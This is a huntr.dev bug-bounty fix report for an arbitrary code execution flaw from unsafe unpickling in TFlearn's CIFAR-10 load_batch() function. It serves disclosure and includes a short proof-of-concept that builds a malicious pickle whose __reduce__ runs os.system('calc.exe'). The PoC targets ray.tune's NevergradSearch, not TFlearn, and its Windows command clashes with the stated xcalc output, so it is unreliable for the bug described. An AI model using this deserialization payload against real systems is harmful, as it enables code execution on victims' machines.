Security Fix for Arbitrary Code Execution - huntr.dev

[huntr-helper]

https://huntr.dev/users/Anon-Artist has fixed the Arbitrary Code Execution vulnerability 🔨. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/pip/tflearn/1/README.md

User Comments:

📊 Metadata *

TFlearn is a modular and transparent deep learning library built on top of Tensorflow. It was designed to provide a higher-level API to TensorFlow in order to facilitate and speed-up experimentations, while remaining fully transparent and compatible with it. This package was vulnerable to Arbitrary Code Execution.

Bounty URL: https://www.huntr.dev/bounties/1-pip-tflearn

⚙️ Description *

load_batch() function is used to load CIFAR 10 dataset for training. Lack of restriction in input allowes attacker-crafted file to get unpickled which causes code execution.

💻 Technical Description *

Fixed by avoiding unsafe loader.

🐛 Proof of Concept (PoC) *

Create the following PoC file:
exploit.py

import pickle
import os
import nevergrad
from ray.tune.suggest.nevergrad import NevergradSearch

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('calc.exe', ))

payload = pickle.dumps(EvilPickle())
optimizer = nevergrad.optimization.Optimizer(1)
ngSearch = NevergradSearch(optimizer)

with open('payload', 'wb') as f:
    f.write(payload)

ngSearch.restore('payload')

Execute the following commands in another terminal:

python3 exploit.py

Check the Output:

xcalc will pop up.

🔥 Proof of Fix (PoF) *

After fix it will not popup a calc.

👍 User Acceptance Testing (UAT)

After fix functionality is unaffected.